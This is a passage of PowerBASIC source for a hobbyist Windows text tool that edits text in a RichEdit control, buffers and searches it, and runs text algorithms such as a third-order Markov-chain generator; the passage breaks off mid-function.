Algo(11).cptr = CODEPTR(Wrap)\n    Algo(12).naam = \" frmt {AT} buf\"\n      Algo(12).flags = %MK_A_MULTINP\n      Algo(12).cptr = CODEPTR(format)\n    Algo(13).naam = \" rplc < inp\"\n      Algo(13).flags = %MK_A_REQSTRING\n      Algo(13).question = \"[original]:[replacement] - white space sensitive!\"\n      Algo(13).cptr = CODEPTR(repl)\n\n    MkTxt_CreateEditWindow   'call this one after control window, sets hWEdit\n  '  CHDIR \"c:\\b\\pb\\mktxt\\\"\n    IF TRIM$(COMMAND$) <> \"\" THEN\n          txt = File2String(COMMAND$)\n          SetWindowText hEdit, BYVAL STRPTR(txt)\n    END IF\n\n    DO\n       DIALOG DOEVENTS\n    LOOP UNTIL done\n    IF hWEdit THEN DIALOG END hWEdit\n\nEND FUNCTION\n\nFUNCTION MkTxt_CreateEditWindow EXPORT AS LONG\n    LOCAL i AS LONG\n    LOCAL hicon AS LONG\n    LOCAL hFont AS LONG\n\n     'should be called after controlwindow, otherwhise it will end up being \na desktop child...\n     IF LoadLibrary(\"RICHED20.DLL\") = 0 THEN\n        myMSGBOX 0, \"Unable to load RICHED20.DLL. This dll is required to \nrun this program!\"\n        EXIT FUNCTION  'is this correct? At least it seems to terminate \nproperly..\n     END IF\n     DIALOG FONT \"lucida console\", 10\n     DIALOG NEW 0 ,\"   <__lo-y.txt.proc_>\", ,  600, 400,  %WS_THICKFRAME \nOR %WS_MINIMIZEBOX OR %WS_MAXIMIZEBOX OR %WS_SYSMENU TO hwEdit\n     DIALOG SET COLOR hwEdit, -1, &H99BBDD\n\n     'a richedit control contains the text we work on\n     CONTROL ADD \"Richedit20a\", hWEdit, 10000, \"\",3,93,524,395, %WS_CHILD \nOR %WS_CLIPCHILDREN OR %WS_VISIBLE OR %ES_MULTILINE OR %WS_VSCROLL OR _\n               %WS_HSCROLL OR %ES_AUTOVSCROLL OR %ES_AUTOHSCROLL OR \n%ES_WANTRETURN ', %WS_EX_CLIENTEDGE\n     CONTROL HANDLE hWEdit, 10000 TO hEdit\n     CALL SendMessage(hEdit, %EM_SETBKGNDCOLOR, 0, &H88AACC)\n     CALL SendMessage (hEdit, %EM_SETUNDOLIMIT, 64, 0)\n             'we might try to make an undo ourselves...\n\n     CONTROL ADD LABEL, hWEdit, 1, \"< ofn >\",    2, 2, 48, 10, %SS_CENTER \nOR %SS_NOTIFY'puts contents of a file in the richedit - further we leave \nthe file alone\n     CONTROL ADD LABEL, hWEdit, 2, \"< ns.rt >\", 53, 2, 48, 10,  %SS_CENTER \nOR%SS_NOTIFY 'insert contents of fiel  {AT}  cursor\n     CONTROL ADD LABEL, hwEdit, 3, \"< r.z >\", 104, 2, 48, 10,  %SS_CENTER \nOR%SS_NOTIFY 'empty richedit window\n     CONTROL ADD LABEL, hwEdit, 10, \"< sav >\", 2, 16, 48, 10,  %SS_CENTER \nOR%SS_NOTIFY  'save - prompt for filename\n     CONTROL ADD LABEL, hwEdit, 11, \"< cpy >\", 53, 16, 48, 10,  %SS_CENTER \nOR%SS_NOTIFY OR %WS_DISABLED'copy to buffer window (!= win clipboard!! use \nctr + c for that)\n     CONTROL ADD LABEL, hwEdit, 12, \"< ml_t >\", 104, 16, 48, \n10,  %SS_CENTER OR%SS_NOTIFY OR %WS_DISABLED 'should call kameel with \nselected texts- not functonal yet\n     CONTROL SET COLOR hwedit, 1, %BLACK,&H88AACC\n     CONTROL SET COLOR hwedit, 2, %BLACK,&H88AACC\n     CONTROL SET COLOR hwedit, 3, %BLACK,&H88AACC\n     CONTROL SET COLOR hwedit, 10, %BLACK,&H88AACC\n     CONTROL SET COLOR hwedit, 11, %BLACK,&H88AACC\n     CONTROL SET COLOR hwedit, 12, %BLACK,&H88AACC\n\n     'add combo with algo's\n     CONTROL ADD COMBOBOX, hwEdit,251, 2,46, 99, 220, \n%CBS_DROPDOWNLIST   OR %WS_TABSTOP\n     CONTROL SET COLOR hwedit, 251, %BLACK,&H88AACC\n\n     FOR i = LBOUND(Algo) TO UBOUND(Algo)\n          COMBOBOX ADD hwEdit, 251, Algo(i).naam\n     NEXT\n     COMBOBOX SELECT hwEdit, 251, 1\n     CONTROL ADD LABEL, hWEdit, 1000, \"< >> >\",104,47,48,10, %SS_CENTER OR \n%SS_NOTIFY\n     CONTROL ADD LABEL, hwEdit, 200, \"txt.lng :\", 2, 64, 51, 10, \n%SS_CENTER   '%SS_CENTER   'size of result (in characters) - some algo's \nignore it\n     CONTROL ADD TEXTBOX, hwEdit, 201, \"3000\", 54, 64, 47, 10,  %ES_NUMBER \nOR %ES_CENTER  '4,\n     CONTROL ADD TEXTBOX, hwEdit, 300, \"\", 4,78,97, 10, 4\n     CONTROL ADD LABEL, hwEdit, 301, \"< find >\", 104, 78, 48, 10, \n%SS_CENTER OR %SS_NOTIFY\n     CONTROL ADD LABEL, hwEdit, 400, \"< ndo >\", 2, 31, 50, 10, %SS_CENTER \nOR %SS_NOTIFY\n     CONTROL ADD LABEL, hwEdit, 500, \"< buf >\", 53, 31, 48, 10, %SS_CENTER \nOR %SS_NOTIFY   'selected text to bufferwin\n     CONTROL ADD LABEL, hwEdit, 501, \"< ld_bf >\", 104, 31, 48, 10, \n%SS_CENTER OR %SS_NOTIFY   'buffer win 2  {AT} cursor\n     CONTROL SET COLOR hwedit, 400, %BLACK,&H88AACC\n     CONTROL SET COLOR hwedit, 1000, %BLACK,&H88AACC\n     CONTROL SET COLOR hwedit, 200, %BLACK,&H99BBDD\n     CONTROL SET COLOR hwedit, 201, %BLACK,&H88AACC\n     CONTROL SET COLOR hwedit, 300, %BLACK,&H88AACC\n     CONTROL SET COLOR hwedit, 301, %BLACK,&H88AACC\n     CONTROL SET COLOR hwedit, 500, %BLACK,&H88AACC\n     CONTROL SET COLOR hwedit, 501, %BLACK,&H88AACC\n\n     'bufferwin richedit\n     CONTROL ADD \"Richedit20a\", hWEdit, 10100, \"\",154,2,227,88, %WS_CHILD \nOR %WS_CLIPCHILDREN OR %WS_VISIBLE OR %ES_MULTILINE OR %WS_VSCROLL OR _\n               %WS_HSCROLL OR %ES_AUTOVSCROLL OR %ES_AUTOHSCROLL OR \n%ES_WANTRETURN ', %WS_EX_CLIENTEDGE\n     CONTROL HANDLE hWEdit, 10100 TO hBuf\n     CALL SendMessage(hbuf, %EM_SETBKGNDCOLOR, 0, &H88AACC)\n\n\n     hicon = LoadIcon (myhInst, \"ICO_MKTXT\")\n     SetClassLong hwEdit, %GCL_HICON, hicon\n\n     DIALOG SHOW MODELESS hWEdit CALL MkTxt_Edit_DlgProc\n     CONTROL SET FOCUS hwEdit, 10000\n     'Showwindow hwEdit, %SW_MAXIMIZE\nEND FUNCTION\n\nCALLBACK FUNCTION MkTxt_Edit_DlgProc () AS LONG\n   STATIC hFont    AS LONG\n   STATIC x        AS LONG\n   STATIC y        AS LONG\n   LOCAL hDC    AS LONG\n   LOCAL e         AS LONG\n   LOCAL lf        AS LOGFONT\n   LOCAL bmpfile   AS ASCIIZ * 64\n   LOCAL filn AS STRING * 300\n   LOCAL hFile AS LONG\n   LOCAL TXT AS STRING\n   LOCAL toptext AS STRING\n   LOCAL mdltextin AS STRING\n   LOCAL mdltextout AS STRING\n   LOCAL bottomtext AS STRING\n   LOCAL buf$\n   LOCAL AP AS AlgoParamsType\n\n   SELECT CASE CBMSG\n\n     CASE %WM_INITDIALOG\n       'set fonts for dialogs\n       hFont = MakeFont(\"Lucida Console\", 10)\n       CONTROL SEND CBHNDL, 1   , %WM_SETFONT,hFont, 1\n       CONTROL SEND CBHNDL, 2   , %WM_SETFONT,hFont, 1\n       CONTROL SEND CBHNDL, 3   , %WM_SETFONT,hFont, 1\n       CONTROL SEND CBHNDL, 10  , %WM_SETFONT,hFont, 1\n       CONTROL SEND CBHNDL, 11  , %WM_SETFONT,hFont, 1\n       CONTROL SEND CBHNDL, 12  , %WM_SETFONT,hFont, 1\n       CONTROL SEND CBHNDL, 200 , %WM_SETFONT,hFont, 1\n       CONTROL SEND CBHNDL, 201 , %WM_SETFONT,hFont, 1\n       CONTROL SEND CBHNDL, 251 , %WM_SETFONT,hFont, 1\n       CONTROL SEND CBHNDL, 300 , %WM_SETFONT,hFont, 1\n       CONTROL SEND CBHNDL, 301 , %WM_SETFONT,hFont, 1\n       CONTROL SEND CBHNDL, 400 , %WM_SETFONT,hFont, 1\n       CONTROL SEND CBHNDL, 500 , %WM_SETFONT,hFont, 1\n       CONTROL SEND CBHNDL, 501 , %WM_SETFONT,hFont, 1\n       CONTROL SEND CBHNDL, 1000, %WM_SETFONT,hFont, 1\n       DIALOG DOEVENTS\n       DIALOG GET SIZE CBHNDL TO x, y\n       DIALOG UNITS CBHNDL, x, y TO PIXELS x, y\n\n       'use our own cursors- from lo_y-crt.exe resource\n'      hCursor = LoadCursor(myhInst, \"CURSOR_MKTXT\")\n'      SetSystemCursor hCursor, %OCR_NORMAL\n'      hCursor = LoadCursor(myhInst, \"CURSOR_MKTXTTP\")\n'      SetSystemCursor hCursor,%OCR_IBEAM\n'      hCursor = LoadCursor(myhInst, \"CURSOR_MKTXTWT\")\n'      SetSystemCursor hCursor,%OCR_WAIT\n'      hCursor = LoadCursor(myhInst, \"CURSOR_MKTXTMOV\")\n'      SetSystemCursor hCursor,%OCR_SIZEALL\n'      hCursor = LoadCursor(myhInst, \"CURSOR_MKTXTSIZ\")\n'      SetSystemCursor hCursor,%OCR_SIZENESW\n'      SetSystemCursor hCursor,%OCR_SIZENS\n'      SetSystemCursor hCursor,%OCR_SIZENWSE\n'      SetSystemCursor hCursor,%OCR_SIZEWE\n\n\n       FUNCTION = 1\n     CASE %WM_EXITSIZEMOVE, %WM_MOVE\n         'resize richedits when main window resized\n         LOCAL rct AS rect\n         GetClientRect CBHNDL, rct\n         y = rct.nbottom ' - 20\n         x = rct.nright '(rct.nright - rct.nleft) - 185\n         DIALOG PIXELS CBHNDL, x, y TO UNITS x, y\n         x = x - 7 '176\n         y = y - 96 '3\n         CONTROL SET SIZE hwEdit, 10000, x, y\n         CONTROL SET SIZE hwEdit, 10100, x- 151, 88' y - 158 '168\n     CASE %WM_CLOSE\n          done  =%true\n     CASE %WM_COMMAND\n          SELECT CASE CBCTL\n              'process buttons\n                 CASE 1\n                    IF CBCTLMSG <> %BN_CLICKED THEN EXIT FUNCTION   'new \nfile to richedit box\n                    filn = MkTxt_FileOpenName(CBHNDL)\n                    IF TRIM$(filn)<> \"\" THEN\n                       txt = File2String(filn)\n                       SetWindowText hEdit, BYVAL STRPTR(txt)\n                    END IF\n                 CASE 2\n                    IF CBCTLMSG <> %BN_CLICKED THEN EXIT FUNCTION   'insert \nnew text\n                    filn = MkTxt_FileOpenName(CBHNDL)\n                    IF TRIM$(filn) <> \"\" THEN\n                       toptext = RE_TextBeforeSelection(hEdit)\n                       bottomtext = RE_TextAfterSelection(hEdit)\n                       mdltextin = File2String(filn)\n                       txt = LEFT$(toptext, LEN(toptext) - 1) + mdltextin + \nbottomtext\n                       SetWindowText hEdit, BYVAL STRPTR(txt)\n                    END IF\n                 CASE 3\n                    IF CBCTLMSG <> %BN_CLICKED THEN EXIT FUNCTION  'erase box\n                    txt = \"\"\n                    SetWindowText hEdit, BYVAL STRPTR(txt)\n                 CASE 10  'save selected text\n                    IF CBCTLMSG <> %BN_CLICKED THEN EXIT FUNCTION\n                    mdltextin = RE_SelectedText(hEdit)\n                    IF TRIM$(mdltextin) = \"\" THEN\n                       toptext = RE_TextBeforeSelection(hEdit)\n                       bottomtext = RE_TextAfterselection(hEdit)\n                       toptext = TRIM$(REMOVE$(toptext, CHR$(0)))\n                       bottomtext = TRIM$(REMOVE$(bottomtext, CHR$(0)))\n                       mdltextin = toptext + bottomtext\n                       toptext = \"\"\n                       bottomtext = \"\"\n                    END IF\n                    hFile = FREEFILE\n                    buf$ = MkTxt_FileSaveName(hWEdit)\n                    IF TRIM$(buf$) = \"\" THEN EXIT FUNCTION\n                    IF PARSECOUNT (buf$, \".\") = 1 THEN buf$ = TRIM$(buf$) + \n\".txt\"\n                    OPEN buf$ FOR OUTPUT AS hFile\n                    PRINT# hFile, mdltextin\n                    CLOSE hFile\n                 CASE 11  'copy to clipboard\n                     myMSGBOX hwEdit, \"not functional yet\"\n                 CASE 12  'send to kameel - ( option not yet supported in \nmktxt nor kameel! )\n                     myMSGBOX hwedit, \"not functional yet\"\n                 CASE 301 'find text in textbox 300\n                    IF CBCTLMSG <> %BN_CLICKED THEN EXIT FUNCTION\n                     CONTROL GET TEXT CBHNDL, 300 TO buf$\n                     buf$ = buf$ + CHR$(0)\n                     LOCAL ft AS FindTextApi\n                     CALL SendMessage(hEdit, %EM_EXGETSEL, 0, VARPTR(ft.chrg))\n                     INCR ft.chrg.cpmin      'so if we have it selected we \nfind the next -\n                                             'one must b really stupid 2 \nset the cursor  {AT}  a text + then search it (methinks)\n                     ft.chrg.cpmax = &H7FFF\n                     ft.lpStrText = STRPTR(buf$)\n                     CALL SendMessage (hEdit, %EM_FINDTEXT,0,  VARPTR(ft)) TO e\n                     ft.chrg.cpmin = e\n                     ft.chrg.cpmax = e + LEN(buf$)- 1\n                     IF e >= 0 THEN\n                         CONTROL SET FOCUS CBHNDL, 10000\n                         CALL SendMessage (hEdit, \n%EM_EXSETSEL,0,  VARPTR(ft.chrg))\n                     ELSE\n                         myMSGBOX hwedit, REMOVE$(buf$, CHR$(0)) + \" not found\"\n                     END IF\n                 CASE 400   'undo\n                     CALL SendMessage(hEdit, %EM_CANUNDO, 0, 0) TO e\n                     IF ISFALSE e THEN\n                         mymsgBOX hwedit, \"windows doesn't know what to \nundo right now\"\n                         EXIT FUNCTION\n                     END IF\n                     CALL SendMessage(hEdit, %EM_UNDO, 0, 0) TO e\n                 CASE 500   'buffer\n                    toptext = RE_TextBeforeSelection(hEdit)\n                    bottomtext = RE_TextAfterselection(hEdit)\n                    mdltextin = RE_SelectedText(hEdit)\n                    toptext = TRIM$(REMOVE$(toptext, CHR$(0)))\n                    bottomtext = TRIM$(REMOVE$(bottomtext, CHR$(0)))\n                    mdltextin =  TRIM$(REMOVE$(mdltextin, CHR$(0)))\n                    IF TRIM$(mdltextin) = \"\" THEN\n                       mdltextin = toptext + bottomtext\n                       toptext = \"\"\n                       bottomtext = \"\"\n                    END IF\n                    SetWindowText hBuf, BYVAL STRPTR(mdltextin)\n\n                 CASE 501   'load buffer to main window\n                    mdltextin = RE_SelectedText(hBuf)\n                    IF TRIM$(mdltextin) = \"\" THEN\n                       mdltextin = toptext + bottomtext\n                       toptext = \"\"\n                       bottomtext = \"\"\n                    END IF\n                    toptext = RE_TextBeforeSelection(hEdit)\n                    bottomtext = RE_TextAfterselection(hEdit)\n                    mdltextin = TRIM$(REMOVE$(mdltextin, CHR$(0)))\n                    toptext = TRIM$(REMOVE$(toptext, CHR$(0)))\n                    bottomtext = TRIM$(REMOVE$(bottomtext, CHR$(0)))\n                    mdltextin = toptext + mdltextin + bottomtext\n                    SetWindowText hEdit, BYVAL STRPTR(Mdltextin)\n                 CASE 1000       'start algo on selection\n                    IF CBCTLMSG <> %BN_CLICKED THEN EXIT FUNCTION\n                    toptext = RE_TextBeforeSelection(hEdit)\n                    toptext = TRIM$(REMOVE$(toptext, CHR$(0)))\n                    bottomtext = RE_TextAfterselection(hEdit)\n                    bottomtext = TRIM$(REMOVE$(bottomtext, CHR$(0)))\n                    mdltextin = RE_SelectedText(hEdit)\n                    mdltextin = TRIM$(REMOVE$(mdltextin, CHR$(0)))\n                    IF mdltextin = \"\" THEN\n                       mdltextin = toptext + MID$(bottomtext, 2)\n                       toptext = \"\"\n                       bottomtext = \"\"\n                    END IF\n                    IF TRIM$(mdltextin) = \"\" THEN mymsgbox hwedit, \"please \nwrite something in the big box first\": EXIT FUNCTION\n                    COMBOBOX GET TEXT hwEdit, 251 TO buf$\n                    IF UpdateAlgoParams(AP, buf$) < 0 THEN EXIT FUNCTION\n                    MOUSEPTR 11\n                    AP.inpString = VARPTR(mdltextin)\n                    IF ISFALSE(AP.Algo.flags AND %MK_A_REQSIZ) THEN\n                        AP.Siz = LEN(mdltextin)\n                    END IF\n                    mdltextout = REPEAT$(MAX(LEN(mdltextin), AP.Siz), \" \")\n                    AP.outpString = VARPTR(mdltextout)\n                    CALL DWORD AP.Algo.cptr USING MkTxt_Proc(AP) TO x\n                    IF ISFALSE x THEN EXIT FUNCTION\n                    mdltextout = TRIM$(REMOVE$(mdltextout, CHR$(0)))\n                    txt = LEFT$(toptext, LEN(toptext) - 1) + mdltextout + \nbottomtext\n                    txt = TRIM$(REMOVE$(txt, CHR$(0)))\n                    SetWindowText hEdit, BYVAL STRPTR(txt)\n                    MOUSEPTR 0\n          END SELECT\n   END SELECT\nEND FUNCTION\n\nSUB myMsgbox (hparent AS LONG, b$)\n     LOCAL hD AS LONG\n     DIALOG FONT \"Lucida Console\", 12\n     DIALOG NEW hparent , \"<__lo-y. >\", , ,MAX(70, 10 + 8 * LEN(b$) / \n(PARSECOUNT(b$, CHR$(13)) + 1)), 34 + 12 * PARSECOUNT(b$, CHR$(13)), \n%WS_POPUP OR %WS_BORDER OR _ '%DS_3DLOOK OR %WS_DLGFRAME or %DS_MODALFRAME \n%WS_CAPTION  OR\n           %WS_CAPTION OR _\n         %WS_MINIMIZEBOX OR %WS_CLIPSIBLINGS OR %WS_VISIBLE OR  _\n         %DS_SETFOREGROUND OR %DS_NOFAILCREATE _\n         OR %DS_SETFONT, %WS_EX_WINDOWEDGE OR %WS_EX_CONTROLPARENT OR _\n         %WS_EX_CONTEXTHELP OR %WS_EX_APPWINDOW OR %WS_EX_LEFT OR _\n         %WS_EX_LTRREADING OR %WS_EX_RIGHTSCROLLBAR OR %WS_EX_TOOLWINDOW, TO hD\n     CONTROL ADD LABEL, hd, 1, b$, 5, 5, MAX(60, 8 * LEN(b$) / \n(PARSECOUNT(b$, CHR$(13)) + 1)), 12 * PARSECOUNT(b$, CHR$(13)), %SS_CENTER\n     CONTROL ADD LABEL, hd, 2, \" < ok >\", 5, 12 + 12 * PARSECOUNT(b$, \nCHR$(13)), MAX(60, 8 * LEN(b$) / (PARSECOUNT(b$, CHR$(13)) + 1)),10, \n%SS_NOTIFY OR %SS_CENTER\n     CONTROL SET COLOR hD, 1, %BLACK, &H99BBDD\n     CONTROL SET COLOR hD, 2, %BLACK, &H88aacc\n     DIALOG SET COLOR hD, %BLACK, &H99BBDD\n     DIALOG SHOW MODAL hd CALL CBmyMsgBox\nEND SUB\n\nCALLBACK FUNCTION CBmyMsgbox\n     IF CBMSG = %WM_COMMAND AND CBCTLMSG = %STN_CLICKED THEN DIALOG END \nCBHNDL, CBCTL\nEND FUNCTION\n\nFUNCTION UpdateAlgoParams(BYREF AP AS AlgoParamsType, BYVAL buf$) AS LONG\n    LOCAL i AS LONG\n    STATIC fdname AS STRING\n    FUNCTION = -1\n    FOR i = LBOUND(Algo) TO UBOUND(Algo) + 1\n        IF TRIM$(Algo(i).naam) = TRIM$(buf$) THEN EXIT FOR\n    NEXT\n    IF i = UBOUND(Algo) + 1 THEN\n       myMSGBOX hwedit, \"error: invalid algo: \" + buf$   'invalid algo name\n       EXIT FUNCTION\n    END IF\n    AP.Algo = Algo(i)\n    IF AP.Algo.flags AND %MK_A_REQSIZ THEN\n       CONTROL GET TEXT hwEdit, 201 TO buf$\n       i = VAL(buf$)\n       IF ISFALSE i THEN\n          myMSGBOX hwedit, \"size requierd !!\"    'siz required but not given\n          EXIT FUNCTION\n       END IF\n       Ap.Siz = i\n    END IF\n    IF (AP.Algo.flags AND %MK_A_MULTINP) THEN\n        LOCAL toptext AS STRING\n        LOCAL bottomtext AS STRING\n        STATIC mdltextin AS STRING\n        toptext = RE_TextBeforeSelection(hBuf)\n        bottomtext = RE_TextAfterselection(hBuf)\n        mdltextin = \"\"\n        mdltextin = RE_SelectedText(hBuf)\n        IF TRIM$(mdltextin) = \"\" THEN\n               mdltextin = toptext + bottomtext\n               toptext = \"\"\n               bottomtext = \"\"\n        END IF\n        mdltextin = REMOVE$(TRIM$(mdltextin), CHR$(0))\n        IF TRIM$(mdltextin) = \"\" THEN\n            myMSGBOX hwedit, \"you might want to buffer something first\"\n        END IF\n        AP.InpString2 = VARPTR(mdltextin)\n    END IF\n    IF (AP.Algo.flags AND %MK_A_REQDAT) THEN\n       fdname = MkTxt_FileDataName(hwEdit)\n       Ap.datfile = VARPTR(fdname)\n    END IF\n    IF (AP.Algo.flags AND %MK_A_REQNUMPARAM) THEN\n        LOCAL hDlginp AS LONG\n        DIALOG NEW hwEdit, Ap.Algo.question, 50, 50, 109, 17 TO hDlgInp\n          DIALOG SET COLOR hDlgInp, -1, &H99bbdd\n\n          CONTROL ADD TEXTBOX, hDlgInp, 1,\"\",3, 4, 50, 10, %SS_CENTER OR \n%SS_NOTIFY\n          CONTROL ADD BUTTON, hDlgInp, 20,\"0k\", 56, 3, 50, 10, %BS_DEFAULT \nOR %BS_FLAT CALL CBInp\n          CONTROL SET COLOR hDlgInp, 1, 0, &H88aacc\n          CONTROL SET COLOR hDlgInp, 20, 0, &H88aacc\n        DIALOG SHOW MODAL hDlgInp TO Ap.num\n    END IF\n    IF (AP.Algo.flags AND %MK_A_REQSTRING) THEN\n        fdname = INPUTBOX$(Ap.Algo.question, Ap.Algo.question)\n        Ap.datfile = VARPTR(fdname)\n    END IF\n    FUNCTION = 1\nEND FUNCTION\n\nCALLBACK FUNCTION CBInp AS LONG\n   STATIC buf$\n   IF CBCTLMSG <> %BN_CLICKED THEN EXIT FUNCTION\n   CONTROL GET TEXT CBHNDL, 1 TO buf$\n   DIALOG END CBHNDL, VAL(buf$)\n\nEND FUNCTION\n\nFUNCTION File2String(BYVAL filn AS STRING) EXPORT AS STRING\n    LOCAL hFile AS LONG\n    LOCAL txt AS STRING\n    IF TRIM$(filn) = \"\" THEN EXIT FUNCTION\n    hFile = FREEFILE                         'simple file-to-string\n    OPEN filn FOR BINARY AS hFile\n    IF ERRCLEAR THEN myMSGBOX hwedit, \"couldn't open \" + filn: FUNCTION = \n\"\":EXIT FUNCTION\n    GET$ hFile, LOF(hFile), txt\n    CLOSE hFile\n    FUNCTION = txt\nEND FUNCTION\n\nFUNCTION RE_TextBeforeSelection(h AS LONG) AS STRING\n    LOCAL txt AS STRING, l AS LONG, pd AS CHARRANGE\n    LOCAL tr AS textRange\n    CALL SendMessage(h, %EM_EXGETSEL, 0, VARPTR(pd))\n    tr.chrg.cpMin = 0\n    tr.chrg.cpMax = pd.cpMin + 1\n    txt = REPEAT$(tr.chrg.cpmax, \" \")\n    tr.lpStrText = STRPTR(txt)\n    SendMessage(h, %EM_GETTEXTRANGE, 0, VARPTR(tr)\n    FUNCTION = txt\nEND FUNCTION\n\nFUNCTION RE_TextAfterSelection(h AS LONG) AS STRING\n    LOCAL txt AS STRING, l AS LONG, pd AS CHARRANGE\n    CALL SendMessage(h, %EM_EXGETSEL, 0, VARPTR(pd))\n    txt = REPEAT$(32000, \" \")\n    GetWindowText h, BYVAL STRPTR(txt), 32000\n    txt = MID$(txt, pd.cpmax + 1)\n    FUNCTION = txt\nEND FUNCTION\n\nFUNCTION RE_SelectedText(h AS LONG) AS STRING\n    LOCAL txt AS STRING, l AS LONG, pd AS CHARRANGE\n    LOCAL tr AS textRange\n    CALL SendMessage(h, %EM_EXGETSEL, 0, VARPTR(pd))\n    tr.chrg.cpMin = pd.cpMin '+ 1\n    tr.chrg.cpMax = pd.cpMax\n    txt = REPEAT$(tr.chrg.cpmax, \" \")\n    tr.lpStrText = STRPTR(txt)\n    SendMessage(h, %EM_GETTEXTRANGE, 0, VARPTR(tr)\n    FUNCTION = txt\nEND FUNCTION\n\n\nFUNCTION MkTxt_FileOpenName(hParent AS LONG) AS STRING\n    'basically calls winapi getopenfilename\n    'hParent is only important for positioning of open window - may be 0\n    LOCAL ofn AS OPENFILENAME\n    LOCAL shortfiln AS STRING * 28\n    LOCAL filnnopath AS STRING * 80\n    LOCAL filn AS STRING * 300\n    LOCAL titl AS STRING * 30\n    LOCAL filtr AS STRING * 200\n    LOCAL exts AS STRING * 3\n    LOCAL inidir AS STRING * 256\n     ofn.lStructSize = SIZEOF(ofn)\n     ofn.hwndOwner = hParent\n     ofn.hInstance = myhInst\n     MID$(filn,1) = CHR$(0)\n     ofn.lpStrFile = VARPTR(filn)\n     ofn.nMaxfile = 300\n     filtr =  \".txt\" + CHR$(0) + \"*.txt\" + CHR$(0) + \".raw\" + CHR$(0) + \n\"*.raw\" + CHR$(0) +\"whatever\" + CHR$(0) + \"*.*\" + CHR$(0,0,0,0)\n     ofn.lpStrFilter = VARPTR(filtr)\n     ofn.nFilterIndex=1\n     titl = \"input:\"\n     ofn.lpStrTitle= VARPTR(titl)\n     ofn.flags = %OFN_FILEMUSTEXIST OR %OFN_LONGNAMES OR %OFN_HIDEREADONLY\n     GetOpenFileName ofn\n     FUNCTION = ofn. {AT} lpStrFile\nEND FUNCTION\n\nFUNCTION MkTxt_FileSaveName(hPArent AS LONG) AS STRING\n    LOCAL ofn AS OPENFILENAME\n    LOCAL shortfiln AS STRING * 28\n    LOCAL filnnopath AS STRING * 80\n    LOCAL filn AS STRING * 300\n    LOCAL titl AS STRING * 30\n    LOCAL filtr AS STRING * 200\n    LOCAL exts AS STRING * 3\n    LOCAL inidir AS STRING * 256\n     ofn.lStructSize = SIZEOF(ofn)\n     ofn.hwndOwner = hParent\n     ofn.hInstance = myhInst\n     MID$(filn,1) = CHR$(0)\n     ofn.lpStrFile = VARPTR(filn)\n     ofn.nMaxfile = 300\n     filtr =  \".txt\" + CHR$(0) + \"*.txt\" + CHR$(0) +\"whatever\" + CHR$(0) + \n\"*.*\" + CHR$(0,0,0,0)\n     ofn.lpStrFilter = VARPTR(filtr)\n     ofn.nFilterIndex=1\n     titl = \"destination:\"\n     ofn.lpStrTitle= VARPTR(titl)\n     ofn.flags = %OFN_FILEMUSTEXIST OR %OFN_LONGNAMES OR %OFN_HIDEREADONLY\n     GetSaveFileName ofn\n     FUNCTION = ofn. {AT} lpStrFile\nEND FUNCTION\n\nFUNCTION MkTxt_FileDataName(hParent AS LONG) AS STRING\n    'hParent is only important for positioning of open window - may be 0\n    LOCAL ofn AS OPENFILENAME\n    LOCAL shortfiln AS STRING * 28\n    LOCAL filnnopath AS STRING * 80\n    LOCAL filn AS STRING * 300\n    LOCAL titl AS STRING * 30\n    LOCAL filtr AS STRING * 200\n    LOCAL exts AS STRING * 3\n    LOCAL inidir AS STRING * 256\n     ofn.lStructSize = SIZEOF(ofn)\n     ofn.hwndOwner = hParent\n     ofn.hInstance = myhInst\n     MID$(filn,1) = CHR$(0)\n     ofn.lpStrFile = VARPTR(filn)\n     ofn.nMaxfile = 300\n     inidir = \"c:\\b\\pb\\mktxt\"\n     ofn.lpStrInitialDir = VARPTR(inidir)\n     filtr =  \".dat\" + CHR$(0) + \"*.dat\" + CHR$(0) + \".txt\" + CHR$(0) + \n\"*.txt\" + CHR$(0) +\"whatever\" + CHR$(0) + \"*.*\" + CHR$(0,0,0,0)\n     ofn.lpStrFilter = VARPTR(filtr)\n     ofn.nFilterIndex=1\n     titl = \"data file:\"\n     ofn.lpStrTitle= VARPTR(titl)\n     ofn.flags = %OFN_FILEMUSTEXIST OR %OFN_LONGNAMES OR %OFN_HIDEREADONLY\n     GetOpenFileName ofn\n     FUNCTION = ofn. {AT} lpStrFile\nEND FUNCTION\n\n\nFUNCTION MkTxt_Proc(AP AS AlgoParamsType) EXPORT AS LONG\n   'statistical ana of n$ as source for 3rd gen markov chain out\n   'eats way too much memory for what it does..\n   LOCAL i AS BYTE, j AS BYTE, k AS BYTE, c AS LONG\n   LOCAL s AS STRING * 1\n   LOCAL buf AS LONG\n   LOCAL pos AS LONG\n   DIM ar(1 TO 255, 1 TO 255, 1 TO 255) AS LONG\n   pos = 1\n   s = MID$(ap. {AT} inpstring, pos, 1)\n   INCR pos\n   k = ASC(s)\n   s = MID$(ap. {AT} inpstring, pos, 1)\n   INCR pos\n   j = ASC(s)\n   DO UNTIL pos > LEN(ap. {AT} inpstring)\n      s = MID$(ap. {AT} inpstring, pos, 1)\n      INCR pos\n      IF ISFALSE (pos MOD 50) THEN\n         IF done THEN\n            EXIT FUNCTION\n         END IF\n      END IF\n      i = ASC(s)\n      IF i > 255 THEN\n           i = ASC(\".\")\n      ELSEIF i < 10 THEN\n          i = ASC(\".\")\n      END IF\n      INCR ar(k, j, i)\n      k = j: j = i\n   LOOP\n   s = MID$(ap. {AT} inpstring, 1, 1)\n   i = ASC(s)\n   s = MID$(ap. {AT} inpstring, 2, 1)\n   j = ASC(s)\n   s = CHR$(i)\n   ap. {AT} outpstring = s\n   s = CHR$(j)\n   ap. {AT} outpstring = ap. {AT} outpstring + s\n   DIM p(1 TO 5) AS LOCAL BYTE\n   DIM v(1 TO 5) AS LOCAL LONG\n   FOR c = 3 TO ap.siz\n       IF ISFALSE (c MOD 50) THEN\n       END IF\nrsm:\n      IF done THEN\n         EXIT FUNCTION\n      END IF\n       FOR k = 1 TO 254\n           IF ar(i, j, k) >= v(1) THEN\n              p(5) = p(4): p(4) = p(3): p(3) = p(2): p(2) = p(1): p(1) = k\n              v(5) = v(4): v(4) = v(3): v(3) = v(2): v(2) = v(1): v(1) = \nar(i,j,k)\n           ELSEIF ar(i,j,k) >= v(2) THEN\n              p(5) = p(4): p(4) = p(3): p(3) = p(2): p(2) = k\n              v(5) = v(4): v(4) = v(3): v(3) = v(2): v(2) = ar(i,j,k)\n           ELSEIF ar(i,j,k) >= v(3) THEN\n              p(5) = p(4): p(4) = p(3): p(3) = k\n              v(5) = v(4): v(4) = v(3): v(3) = ar(i,j,k)\n           ELSEIF ar(i,j,k) >= v(4) THEN\n              